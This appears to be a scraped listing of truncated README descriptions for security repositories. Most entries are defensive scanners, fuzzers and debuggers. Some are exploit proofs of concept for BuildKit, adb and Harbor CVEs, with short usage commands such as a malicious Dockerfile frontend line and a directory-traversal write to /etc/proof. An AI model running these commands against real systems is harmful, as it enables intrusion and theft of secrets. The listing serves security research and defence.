CVE-2024-23653

syntax=docker.io/zdfa/evilerfile FROM alpine RUN grep Cap /proc/self/status sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. ➜ cp sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. + Building 5.3s 6/6 FINISHED...

beef

=============================================================================== Copyright c 2006-2026 Wade Alcorn - [email protected] Browser Exploitation Framework BeEF - https://beefproject.com See the file 'doc/COPYING' for copying permission...

payloads

payloads Git All the Payloads! A collection of web attack payloads. Pull requests are welcome! Usage run ./get.sh to download external payloads and unzip any payload files that are compressed. Payload Credits fuzzdb - https://github.com/fuzzdb-project/fuzzdb SecLists -...

scorecard

OpenSSF Scorecard Overview What Is Scorecard? Prominent Scorecard Users View a Project's Score Scorecard's Public Data Using Scorecard Scorecard GitHub Action Scorecard REST API Scorecard Badges Scorecard Command Line Interface Prerequisites Installation Authentication Basic Usage Checks Default...

ninjasworkout

Damn Vulnerable NodeJS Application Quick Start Download the Repo = run npm i Afer Installing all dependency just run the application node app.js or nodemon app.js ADDED BUGS Prototype Pollution ✅1 No SQL Injection ✅2 Cross site Scripting ✅3 Broken Access Control ✅4 Broken Session Management ✅5 We...

x64dbg

x64dbg An open-source binary debugger for Windows, aimed at malware analysis and reverse engineering of executables you do not have the source code for. There are many features available and a comprehensive plugin system to add your own. You can find more information on the blog! Screenshots |...

clusterfuzzlite

ClusterFuzzLite ClusterFuzzLite는 지속적인 퍼징 솔루션으로, 지속적 통합CI 워크플로의 일부로 실행되어 그 어느 때보다 빠르게 취약점을 찾아냅니다. 몇 줄의 코드만으로 GitHub 사용자는 ClusterFuzzLite를 워크플로에 통합하고 풀 리퀘스트를 퍼징하여 커밋되기 전에 버그를 잡을 수 있습니다. ClusterFuzzLite는 ClusterFuzz를 기반으로 합니다. 기능 코드 변경풀 리퀘스트 퍼징으로 버그가 배포되기 전에 신속하게 발견 크래시를 유발하는 테스트 케이스 다운로드 더 오래 실행되는...

layne

Layne Layne는 여러 리포지토리에 걸친 보안 스캔을 중앙 집중화하는 자체 호스팅 GitHub App입니다. 우리는 상용 SAST/시크릿 스캔 도구를 사용하지 않고 GitHub Enterprise에도 접근할 수 없기 때문에, 서로 다른 리포지토리 전반에 걸쳐 여러 GitHub Actions 워크플로 파일을 유지 관리하는 것이 어려울 수 있습니다. 특히 그러한 리포지토리의 수가 늘어날수록 더욱 그렇습니다. 대신 Layne을 한 번 설치하면 풀 리퀘스트 이벤트를 수신하고, 서버 측에서 보안 도구를 실행하며, 결과를 네이티브...

www-community

OWASPコミュニティページ OWASPコミュニティページは、セキュリティ関連コンテンツへのコミュニティ貢献のためのリポジトリです。このドキュメント群が https://owasp.org/www-community/ のウェブサイトを構成しています。 コントリビューション（貢献）について 新しいコンテンツや既存ページの更新など、あらゆるコントリビューションを歓迎します。このリポジトリでは fork and pull モデル を採用しています。コントリビューターになるための手順は次のとおりです: 1. このリポジトリを Fork し、そのフォークを clone します。 2. pages...

CVE-2022-20128

CVE-2022-20128 Android Debug Bridge adb는 adb pull 작업 중에 악의적이거나 손상된 adb 데몬에 의해 수행될 수 있는 디렉터리 트래버설 공격에 취약했습니다. 악성 장치: ./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof 피해자: root@eedd4cb8b202:/tmp/platform-tools cat /etc/proof cat: /etc/proof: No such file or directory...

templates

レポートテンプレート ディレクトリ構造の注意点: スクリプト generate-directories.py は、GitHubからVRT構造の最新バージョンを取得し、欠落しているディレクトリを作成します。VRTから削除された項目に基づいてディレクトリを削除または名前変更することはありません。 スクリプトは標準のエントリ名に従い、VRTの id フィールドで指定されたアンダースコアと大文字小文字を保持します。 このリポジトリの操作 このリポジトリでは「Protected...

nuvola

nuvola nuvola with the lowercase n is a tool to dump and perform automatic and manual security analysis on AWS environments configurations and services using predefined, extensible and custom rules created using a simple Yaml syntax. The general idea behind this project is to create an abstracted...

zap-scripts

zap-scripts Zed Attack Proxy Scripts for finding CVEs and Secrets. Building This project uses Gradle to build the ZAP add-on, simply run: ./gradlew build in the main directory of the project, the add-on will be placed in the directory build/zapAddOn/bin/. Usage The easiest way to use this repo in...

reversemap

reversemap Analyse SQL injection attempts in web server logs The program can either be run in batch mode or interactive mode. In batch mode the program will accept Apache web server logs and will deobfuscate requested URLs from the logs. In interactive mode the program will prompt for user input...

scan-cve-2018-8115

/\ / | | / \ | | | / /\ \ / | | | |/ | \ \ / / | | | | '| | | | | | / \ | | || | | | | / | || | | | | || || | // \, |,|,| |/ ||,|| |||, | | | / | || |/ Docker 이미지 검증 CLI 도구 CVE-2018-8115 커뮤니티의 안전을 돕기 위해 Aqua는 이미지가 이 취약점으로부터 안전한지 테스트하는 오픈 소스 도구를 만들었습니다. 이 유틸리티는 Docker Registry에 연결하여현재는...

boatcrash

boatcrash CVE-2019-19030에 대한 익스플로잇으로, Harbor 버전 이 스크립트를 1.10.3 또는 2.0.1 미만 버전을 실행하는 Harbor 인스턴스에서 사용하여 플랫폼에 있는 모든 프로젝트를 열거하십시오. 또한 상위 버전에서 프로젝트를 열거하는 데 사용할 수 있지만 공개 프로젝트만 열거할 수 있습니다. 이 스크립트에 의해 발견된 모든 프로젝트는 Docker를 통해 자신의 머신으로 가져와지며, 로컬에서 실행하고 환경 변수와 비밀을 자세히 살펴볼 수 있습니다. 면책 조항 이 개념 증명 익스플로잇은 교육...

CVE-2024-37051

CVE-2024-37051 분석 개요 CVE-2024-37051은 JetBrains의 IntelliJ 기반 IDE에서 발견된 취약점으로, GitHub 플러그인에 영향을 미칩니다. 악성 풀 리퀘스트PR를 로드하면 GitHub 액세스 토큰이 무단으로 노출될 수 있습니다. 기술적 세부 사항 이 취약점은 IDE에서 PR을 렌더링하는 과정에서 발생합니다. 악성 PR은 IDE가 GitHub 토큰을 공격자가 지정한 URL로 전송하도록 만들 수 있습니다. 패치는 호스트 검증을 추가하여 토큰이 승인된 GitHub 도메인으로만 전송되도록...

halogen

Halogen is a tool to automate the creation of yara rules based on the image files embedded within a malicious document. This can assist cyber security professionals in writing detection rules for malicious threats as well as help responders in identifying with particular threat they are dealing...

CVE-2022-46463

CVE-2022-46463 CVE-2022-46463POC Harbor 무단 인증 취약점 취약점 상세 내용은 Stack 커뮤니티에서 확인 가능합니다. 사용 python3 cvve-2022-46463.py -u https://127.0.0.1:5003 옵션 -u URL, --url URL Target URL e.g. http://example.com -h, --help Show help message and exit docker pull xxx 명령어가 직접 표시되었습니다...

CVE-2026-54160

A flaw was found in Network UPS Tools NUT. The project's automated workflow improperly runs untrusted code submitted in pull requests within an environment that holds elevated write privileges. A remote attacker can exploit this flaw by submitting a malicious pull request to achieve arbitrary cod...